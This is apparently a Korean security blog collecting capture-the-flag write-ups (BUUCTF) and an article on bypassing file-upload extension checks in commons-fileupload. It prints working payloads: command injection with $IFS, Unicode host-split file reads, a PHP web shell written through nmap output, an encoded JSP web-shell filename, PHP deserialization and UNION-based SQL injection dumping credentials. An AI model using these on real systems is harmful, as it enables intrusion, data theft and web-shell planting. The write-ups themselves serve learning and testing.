cookie 1로 바꿔줌

 

is_numeric 검사하고있어서 php type conversion error로 해결

echo is_numeric('404a');

 -> result : 0

echo '404a' == 404;

 -> result : 1

 

 

 

숫자길이검사해서 지수표현으로 우회

전에 봤던거랑 같은 문제

 

다만 필터링이 replace 된다

 

select, union, or, from 같은애들

 

sqli 에서 replace 될때는 seselectlect 같이 두번 넣어줘서 쉽게 우회가 가능하다

 

 

 

 

 

 

command injection

 

{} [] () %20 %09 %0a ' " ? * 등 문자 다 필터링

 

$ = ` 등 사용 가능

 

?ip=127.0.0.1;b=g.php;a=fla;cat$IFS$a$b;

 

$IFS 는 개행을 나타내는가보다

 

음 문제 자체는 괜찮았을거 같은데 buuctf에서 정보를 안준건지.. 하여튼 좀 그렇다.

 

이유는 차차 설명하도록 하겠따.

 

일단 문제 컨셉 자체는 blackhat usa 19에서 발표되었던 host split attack 이다.

 

unicode를 idna로 정규화 하였을 때 NFKC로 정규화하여 url hostname의 해석 시 한글자의 유니코드가 여러글자의 아스키로 변환되는 등 특이동작을 유발하여 필터링을 우회하는 공격이다.

 

여기선 python에서 urlparse.urlsplit 함수가 NFKC 정규화를 따르지 않아 idna 정규화된 결과와 urlsplit의 결과가 달라 hostname filtering을 우회할 수 있는 문제를 지적하여 문제로 만들었따.

 

https://bugs.python.org/issue36216 

 

Issue 36216: CVE-2019-9636: urlsplit does not handle NFKC normalization - Python tracker

Issue36216 Created on 2019-03-06 17:37 by steve.dower, last changed 2019-05-10 18:05 by ned.deily. This issue is now closed. URL Status Linked Edit PR 12201 closed steve.dower, 2019-03-06 17:45 PR 12213 merged steve.dower, 2019-03-07 16:07 PR 12215 merged

bugs.python.org

 

어쨌든 스키마검사는 안하고

 

urlparse.urlparse와 urlparse.urlsplit의 hostname이 'suctf.cc'가 아니게 나오게 하고,

 

idna 인코딩 이후엔 urlparse.urlsplit의 hostname이 'suctf.cc'가 나오게 하면 된다.

 

[!] unistr ℂ (2102) -> c (63)
[!] unistr ℅ (2105) -> c/o (63 2f 6f)
[!] unistr ℆ (2106) -> c/u (63 2f 75)

 

머 이런거 이용해주면 되는데 작년에 한참 host split 문제 나와가지고 빡쳐있었는데 이거 본 참에 전수조사 해버렸따. blackhat 발표자료에 나온거 외에도 많이 나왔는데,

 

궁금하신분들은 직접 조사해보시길!~ 안알려줄거지롱~~

 

 

어쨌든 저 중 하나 써보면 되는데

 

아니 이문제 불합리하다고 느낀게

 

내 파이썬 환경에서 urllib.urlopen('file:') 스키마에서 어떻게해도 문제 풀이처럼 file://suctf.cc/opt/../etc/passwd 를 열 수가 없다.

 

 

아마 모종의 이슈로 file스키마에 대한 검증부분이 더 들어갔거나.. 아니면 문제 환경에서 특정 python version을 명시해줬는데 buuctf에선 안해줬따거나 그런거 같은데.

 

하튼 저 위에 구문대로 하면 lfi가 가능해진다.

 

file://suctf.℆sr/../etc/passwd

 

이제 문제에선 nginx 아냐고 물어봤는데

 

nginx.conf 가져와보자

 

view-source:http://4a30e934-1357-4638-b6c0-858280b28ced.node3.buuoj.cn/getUrl?url=file://suctf.c%E2%84%86sr/../etc/nginx/nginx.conf
view-source:http://4a30e934-1357-4638-b6c0-858280b28ced.node3.buuoj.cn/getUrl?url=file://suctf.c%E2%84%86sr/../usr/local/nginx/conf/nginx.conf

 

 

이런문제는 이제 건너뛰고싶다.

그러니까 말없이 스샷만 첨부하겠다.

 

escapeshellcmd(escapeshellarg($host))

 

우회해서 command injection 하면 되는 문제..

 

각각은 안전한 함수이지만 두개를 같이 쓰면 위험하다고 한다.

 

 

buuctf 문제가 너무 많아서 블로그 글 퀄리티를 챙기려면 너무 내 노동력이 많이 들거같아서 앞으로 대충만 쓰기로 했다

 

저거 두개 같이쓰면 위험하다고 하는건 구글에 잘 찾아보면 나온다.

 

어쨌든,

 

 

나는 본래 의도랑 다르게 전혀 다른방법으로 풀려고 했었따.

 

nmap에선 --script 옵션을 통해 nse script를 지정할 수 있는데, 이 중 http-headers라는 스크립트가 있다.

 

이 스크립트는 대상 호스트의 웹서비스에 접근하여 헤더파일을 읽어오는 스크립트이다.

 

그리고 .htaccess에서 Header set a "b" 와 같이 클라이언트로 전달할 헤더를 설정해줄 수 있다.

 

 

따라서 우리는 .htaccess에서 헤더를 지정해주고, nmap --script=http-headers 를 통해 헤더 평문을 받아오고, 이 결과값을 -oN a.php를 통해 a.php로 뺄 수 있다면 webshell upload가 가능해질것이라 생각했다.

 

.htaccess

 

nmap 실행 결과

 

filtering 통과

 

 

와 ! 풀었따! 생각했는데 웬걸

 

원래 서버 설정이 그랬던건지 외부 통신이 안된다.

 

그래서 내 서버에 접근도 못하고 결과도 못받아온다..

 

결국 좌절하고 본래 풀이대로 했다.

 

 

본래 의도풀이는 -oG로 escapeshellcmd와 escapeshellarg를 같이 쓰는 특징을 이용하여 파일을 저장하는거라고 한다.

 

' <?php echo`$_GET[c]`;?> -oG a.php '

이거를 필터링 씌우면

이렇게 된다.

 

쉘커맨드에서 따옴표는 개수 상관없이 쌍만 맞으면 하나의 문자열로 보고, < ? 와 같은 문자를 echo하려면 \< \?처럼 escape 해줘야한다.

 

우리는 쉘커맨드를 그대로 nmap의 실행 결과로 mirroring echo 해야하므로 escaping된 문자열이 평문으로 바뀌게 되면 이 결과값을 저장하여 웹쉘을 올릴 수 있게 된다.

 

JSP & Spring Framework로 구현된 웹 서비스에서 파일업로드 기능을 구현할 시 가장 흔히 사용되는 모듈이 commons-fileupload 모듈입니다.

악의적인 파일업로드 취약점을 트리거하여 공격하기 위해선 서버단에서 웹서비스가 해석하여 실행 가능한 확장자(ex. jsp, jspx, jspl, jsw ...etc..)로 업로드하여 서버내에서 임의 코드를 실행시킬 수 있어야 합니다.

하지만 많은 수의 서비스들은 확장자(ext)검사를 시행하고 있고, 이를 WAF(Web Application Firewall)에서 하는 경우가 많습니다.

또한, 확장자 검사를 시행한 후엔 파일 명을 randomizing 하여 보안성을 갖추는것이 일반적인 파일업로드 취약점 대응 방법입니다.

 


 

하지만 만약 확장자 검사를 코드 단이 아닌 WAF단에서만 수행을 하고, random으로 생성된 파일명이 공격자에게 노출된다면(꽤나 많은 케이스에서 이런 상황이 발견되는것 같습니다) commons-fileupload 모듈의 코드 구현 특징을 이용하여 이를 우회할 수 있습니다.

    @Override
    protected void doPost(HttpServletRequest request,  HttpServletResponse response)
            throws ServletException, IOException {

        response.setContentType("text/html; charset=UTF-8");
        request.setCharacterEncoding(CHARSET);
        PrintWriter out = response.getWriter();

        File attachesDir = new File(ATTACHES_DIR);

        DiskFileItemFactory fileItemFactory = new DiskFileItemFactory();
        fileItemFactory.setRepository(attachesDir);
        fileItemFactory.setSizeThreshold(LIMIT_SIZE_BYTES);
        ServletFileUpload fileUpload = new ServletFileUpload(fileItemFactory);

        try {
            List<FileItem> items = fileUpload.parseRequest(request);
            for (FileItem item : items) {
                if (item.isFormField()) {
                    System.out.printf("파라미터 명 : %s, 파라미터 값 :  %s \n", item.getFieldName(), item.getString(CHARSET));
                } else {
                    System.out.printf("파라미터 명 : %s, 파일 명 : %s,  파일 크기 : %s bytes \n", item.getFieldName(),
                            item.getName(), item.getSize());
                    if (item.getSize() > 0) {
                        Object fileName = new File(item.getName()).getName();
                                                fileName = this.makeFn((String)fileName) + "." + this.getExt((String)fileName); // makeFn -> make random filename
                                                String filePath = uploadPath + File.separator + (String)fileName;
                                                File storeFile = new File(filePath);
                                                item.write(storeFile);
                    }
                }
            }
              out.println("<h1>파일 업로드 완료</h1>");
         } catch (Exception e) {
            // 파일 업로드 처리 중 오류가 발생하는 경우
            e.printStackTrace();
            out.println("<h1>파일 업로드 중 오류가  발생하였습니다.</h1>");
        }
    }

출처: https://dololak.tistory.com/720 [코끼리를 냉장고에 넣는 방법]
private String getExt(String fileName) {
    if (fileName.lastIndexOf(".") == -1)
      return "noext"; 
    fileName = fileName.substring(fileName.lastIndexOf(".") + 1).trim();
    if ("".equals(fileName))
      return "noext"; 
    return fileName.substring(fileName.lastIndexOf(".") + 1);
  }

위의 코드는 구글commons-fileupload 라고 검색하였을때 나오는 '기본 예제 코드'에 파일 확장자 검사 코드를 추가한 코드입니다.

실제 코드상으로는 WAF에서 확장자 검사를 하여 .jpg.png 등 허용 확장자만 whitelist로 관리하고 있다면 보안 취약점이 발생하지 않는 것으로 보입니다. 또 실제로 저도 이 기법을 접하기 전까진 해당 상황에선 취약점 익스플로잇이 불가능하다고 생각을 해왔었습니다.

하지만 문제는 commons-fileupload 모듈이 버전 1.3부터 RFC2047지원한다는 데에서 시작됩니다.

RFC2047MIME (Multipurpose Internet Mail Extensions) Part Three: Message Header Extensions for Non-ASCII Text에 대한 명세인데, Non ascii text에 대해서 인코딩 방식을 요청자가 지정하여 인코딩하여 전송하고, 응답자는 이를 디코딩하여 해석한다는 내용이 주를 이룹니다.

이를 commons-fileupload 모듈에서 적용하게된 내용을 간략한 코드흐름으로 살펴보면,

와 같이 진행됩니다.

RFC2047에서 명세된 인코딩 형식은 =?" charset "?" encoding "?" encoded-text "?= 입니다.

이 중 encoding 방식에 대한 설명은 아래와 같습니다

 

4. Encodings

   Initially, the legal values for "encoding" are "Q" and "B".  These
   encodings are described below.  The "Q" encoding is recommended for
   use when most of the characters to be encoded are in the ASCII
   character set; otherwise, the "B" encoding should be used.

     ...중략...

     4.1. The "B" encoding

   The "B" encoding is identical to the "BASE64" encoding defined by RFC

 

인코딩은 평문(Q)와 Base64(B)를 지원하고 있습니다. 이를통해 some_webshell.jsp에서 .jsp와 같은 문구를 잡아내는 WAF를 우회할 수 있습니다.

하지만 여전히 WAF에서 맨 마지막 확장자를 검사하는 로직은 우회하지 못하였습니다.

이는 commons-fileupload에서 RFC2047을 구현한 특징으로 우회할 수 있습니다.

decodeText() 메서드 중 인코딩 형식의 문자열 파싱 부분을 살펴보면 int encodedTextPos = word.indexOf(ENCODED_TOKEN_FINISHER, encodingPos + 1);로 encodedTextPos를 설정하고, 이후 진행되는 코드에서 인코딩 된 영역만 가져와 디코딩 후 파일 이름으로 가져오기 때문에

=?UTF8?B?c29tZV93ZWJzaGVsbC5qc3A=?=.jpg 와 같은 형식으로 인코딩 영역이 끝난 부분에 .jpg를 삽입하게 되면 실제 jsp에서 파일명을 파싱할 시 이 부분이 무시됩니다.

 


 

여기까지 진행됐다면, WAF에서 수행하는 1. '.jsp'와 같은 문자열 포함 검사, 2. lastIndexOf('.') 등을 통한 업로드 취약점 검사를 모두 우회할 수 있습니다.

이후에 jsp 코드에선 정상적으로 some_webshell.jsp로 파일이 생성되기 때문에 웹쉘을 업로드하는데 성공할 수 있게 됩니다.

 


 

개인적으로도 파일 업로드 취약점 진단 시 commons-fileupload 모듈이 많이 사용되고있는걸 느꼈는데 이런 기법이 있었다는걸 몰랐어서, 내용을 보고 많이 놀랐기도 하여 해당 내용을 접하자마자 급히 글을 작성하여 업로드 하게 되었습니다.

 

 

해당 글은 2019년 CCE(사이버 공격방어대회)에 출제한 ENKI공식 라이트업을 참조하여 작성되었습니다.

 

 

참고문헌 : https://enki.co.kr/blog/2020/02/27/cce_writeup.html?fbclid=IwAR0ztC_wshd_DHvIA-HBMh_F99TdqkPiqyGyBu_WfP6Id-2TPTPPp_uPkZY

ㅏ 갑자기 쓰기가 귀찮아졌다.

 

대충 써야겠다

 

 

 

1. file_get_contents 의 결과를 welcome to the zjctf 로 만들기

 - text=data:text/plain,welcome to the zjctf

 

2. useless.php 내용 읽어오기(lfi)

 - file=php://filter/read=convert.base64-encode/resource=useless.php

 

3. useless.php

4. unserialize로 class Flag를 통해 flag.php 읽기

 

O:4:"Flag":1:{s:4:"file";N;}

에서

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

로 변조해서 unserialize하기

 

password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

 

view-source:http://c589b547-679e-407e-9713-d0a821da98a4.node3.buuoj.cn/?text=data:text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

 

 

view-source:http://5898ede5-0e9d-4e2f-8e19-add666f984c1.node3.buuoj.cn/check.php?username=%27+union+select+1,group_concat(schema_name),3%20from%20information_schema.schemata%23&password=guest

 

schema_name = geek

 

view-source:http://5898ede5-0e9d-4e2f-8e19-add666f984c1.node3.buuoj.cn/check.php?username=%27+union+select+1,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27geek%27%23&password=guest

 

table_name = geekuser, l0ve1ysq1

 

view-source:http://5898ede5-0e9d-4e2f-8e19-add666f984c1.node3.buuoj.cn/check.php?username=%27+union+select+1,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27l0ve1ysq1%27%23&password=guest

 

[l0ve1ysql] column name = id,username,password

 

view-source:http://5898ede5-0e9d-4e2f-8e19-add666f984c1.node3.buuoj.cn/check.php?username=%27+union+select+1,group_concat(concat(id,%27-%27,username,%27-%27,password)),3%20from%20l0ve1ysq1%23&password=guest

 

Hello 1-cl4y-wo_tai_nan_le,2-glzjin-glzjin_wants_a_girlfriend,3-Z4cHAr7zCr-biao_ge_dddd_hm,4-0xC4m3l-linux_chuang_shi_ren,5-Ayrain-a_rua_rain,6-Akko-yan_shi_fu_de_mao_bo_he,7-fouc5-cl4y,8-fouc5-di_2_kuai_fu_ji,9-fouc5-di_3_kuai_fu_ji,10-fouc5-di_4_kuai_fu_ji,11-fouc5-di_5_kuai_fu_ji,12-fouc5-di_6_kuai_fu_ji,13-fouc5-di_7_kuai_fu_ji,14-fouc5-di_8_kuai_fu_ji,15-leixiao-Syc_san_da_hacker,16-flag-flag{bd[redacted]c5}!

 

 

'Web > BUUCTF' 카테고리의 다른 글

[BUUCTF] - [BUUCTF 2018]Online Tool  (0) 2020.02.28
[BUUCTF] - [ZJCTF 2019]NiZhuanSiWei1  (0) 2020.02.26
[BUUCTF] - [极客大挑战 2019]LoveSQL1  (0) 2020.02.26
[BUUCTF] - [极客大挑战 2019]PHP1  (0) 2020.02.26
[BUUCTF] - [0CTF 2016]piapiapia1  (0) 2020.02.21
[BUUCTF] - [RoarCTF 2019]Easy Java1  (0) 2020.02.18

 

 

;;

+ Recent posts